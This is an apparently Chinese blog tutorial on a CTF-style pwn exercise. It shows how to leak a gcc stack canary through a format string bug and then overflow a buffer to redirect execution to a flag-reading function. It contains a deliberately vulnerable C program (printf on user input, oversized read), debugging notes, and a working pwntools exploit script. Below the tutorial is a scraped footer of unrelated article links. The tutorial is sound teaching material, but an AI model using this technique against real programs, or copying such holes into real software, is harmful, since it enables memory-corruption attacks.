1.1    canary内存保护机制

1.1.1    canary工作原理

canary保护机制类似于/GS保护机制,是Linux下gcc编译器的安全保护机制之一,在栈中的结构如下图所示:

在函数初始化的时候回初始化一个随机的canary值置于缓冲区的末端,在函数返回之前会对canary的值进行验证,无误则正常返回。

1.1.2    通过格式化字符串漏洞绕过canary

⑴.原理分析:

因为通过格式化字符串漏洞可以实现任意内存的读写,而且,在一个程序里,不同函数在运行中使用的canary值是相同的,所以可以通过对格式化字符串漏洞的利用,将canary的值读出来,实现缓冲区溢出攻击后(控制RET地址),在函数退出验证前再将canary 的值填回栈中,通过验证实现函数的正常返回。

⑵.环境准备:

i.存在格式化字符串漏洞的程序:

#include <stdio.h>

#include <unistd.h>

void getflag(void) {

char flag[100];

FILE *fp = fopen("./flag", "r");

if (fp == NULL) {

puts("get flag error");

}

fgets(flag, 100, fp);

puts(flag);

}

void init() {

setbuf(stdin, NULL);

setbuf(stdout, NULL);

setbuf(stderr, NULL);

}

void fun(void) {

char buffer[100];

read(STDIN_FILENO, buffer, 120);

}

int main(void) {

char buffer[6];

init();

scanf("%6s",buffer);

printf(buffer);

fun();

}

ii.测试环境:

测试平台linux debian 7

攻击脚本编写模块:pwntools。

辅助调试插件:gdb-peda

iii. 编译命令:

gcc -m32 -g -z execstack -fstack-protector-all -o print_canary.c print_canary

⑶.调试分析:

i. 查看保护机制:

可以看到只有canary保护机制是成立的。

ii.找到存在缓冲区溢出漏洞的函数的canary值地址:

可以看到位于canary的值位于[ebp-0xc]=0xffffd27c处,

iii. 找到缓冲区起始地址:

参数arg[1]的值为缓冲区的起始地址:0xffffd218。

iv.确定返回地址指针:

返回地址位于:0xffffd28c。

⑷.攻击过程:

i.攻击思路:

我们的目的通过格式化字符串漏洞得到canary值,在实现缓冲区溢出攻击后控制fun函数的返回地址,执行getflag函数读取当前目录下的flag文件,在溢出的时候要将得到canary值准确的填入它原来的位置。

ii.得到getflag函数的地址:

Getflags函数地址为:0x5655572d。

iii.计算缓冲区大小;

由上面的调试分析可知:

缓冲区大小等于缓冲区结束的地址0xffffd27c - 0xffffd218 = 100(字节)。

iv.分析栈使用情况:

v.编写攻击脚本实现攻击:

from pwn import *

context.log_level = 'debug'

cn = process('./print_canary')

cn.sendline('%7$x')

canary = int(cn.recv(),16)

print hex(canary)

cn.send('a'*100 + p32(canary) + 'a'*12 + p32(0x5655572d))

flag = cn.recv()

log.success('flag is:' + flag)

攻击结果:

成功。

通过格式化字符串漏洞绕过canary的更多相关文章

  1. Linux pwn入门教程(6)——格式化字符串漏洞

    作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...

  2. Linux pwn入门教程——格式化字符串漏洞

    本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...

  3. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. 格式化字符串漏洞利用实战之 njctf-decoder

    前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...

  5. 格式化字符串漏洞利用实战之 0ctf-easyprintf

    前言 这是 0ctf 的一道比较简单的格式化串的题目. 正文 逻辑非常简单 do_read 可以打印内存地址的数据,可用来 泄露 got. leave 格式化字符串漏洞. printf(s) 直接调用 ...

  6. Linux下的格式化字符串漏洞利用姿势

    linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除了栈以外的其他地方还是可以执行的,只要把返回地址执行别的地方就可以. 一.格式化字符串漏洞 格式 ...

  7. [典型漏洞分享]YS VTM模块存在格式化字符串漏洞,可导致VTM进程异常退出【高危】

    YS VTM模块存在格式化字符串漏洞,可导致VTM进程异常退出[高危] 问题描述: YS VTM模块开放对外监听端口(8554和8664),此次使用sulley fuzzing框架对监听在8664端口 ...

  8. 格式化字符串漏洞 format string exploit(一)

    本文系原创,转载请说明出处 本文为基于CTF WIKI的PWN学习 0x00 格式化字符串原理 先附一张经典的图,如下 其栈上布局如下: some value 3.14 123456 addr of ...

  9. sprintf格式化字符串漏洞(转)

    深入解析sprintf格式化字符串漏洞 特征: 如何利用: 可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题: 没做字 ...

随机推荐

  1. 企业级hbase HA配置

    1 HBase介绍HBase是一个分布式的.面向列的开源数据库,就像Bigtable利用了Google文件系统(File System)所提供的分布式数据存储一样,HBase在Hadoop之上提供了类 ...

  2. 同一个tomcat启动多个实例

    一般在使用Tomcat时,服务器会从conf及webapps目录中读取配置文件,并将文件写入logs.temp和work目录,当然一些jar文件和class文件需要从服务器的公共目录树中予以加载.因此 ...

  3. 20145216史婧瑶《Java程序设计》第一次实验报告

    实验一 Java开发环境的熟悉(Linux + Eclipse) 实验内容 1.使用JDK编译.运行简单的Java程序: 2.使用Eclipse 编辑.编译.运行.调试Java程序. 实验要求 1.没 ...

  4. JAVA基本常识及环境搭建

    JAVA基本常识及环境搭建 常用dos命令行 dir 列出当前目录下的文件以及文件夹 md 创建目录 cd 进入指定目录 cd.. 退回到上一级目录 cd/ 退回到根目录 del 删除文件 删除单个文 ...

  5. markdown工作随笔总结

    1. 锚点 (使用方法和链接很像) ## 目录 1. [命名](#命名) ....... **[返回顶部](#目录)** ## 命名 ###命名原则 可以从返回顶部回到目录,也可以点击目录的命名跳到命 ...

  6. openwrt如何查看当前使用的硬件平台

    答:输入cat /tmp/sysinfo/board_name即可获取

  7. 组合优于继承 Composition over inheritance

    https://stackoverflow.com/questions/49002/prefer-composition-over-inheritance 解答1 Prefer composition ...

  8. Tornado异步(2)

    Tornado异步 因为epoll主要是用来解决网络IO的并发问题,所以Tornado的异步编程也主要体现在网络IO的异步上,即异步Web请求. 1. tornado.httpclient.Async ...

  9. HIVE分组排序问题

    答案: hive> select *,row_number() over (partition by product_no order by start_time desc) from tabl ...

  10. Flume在企业大数据仓库架构中位置及功能

    Flume在企业大数据仓库架构中位置及功能 hadoop 数据仓库 flume 数据仓库架构 1.如下图所示,外部数据中,关系型数据库导入到HDFS用sqoop,由Nginx产生的文件实时监控用Flu ...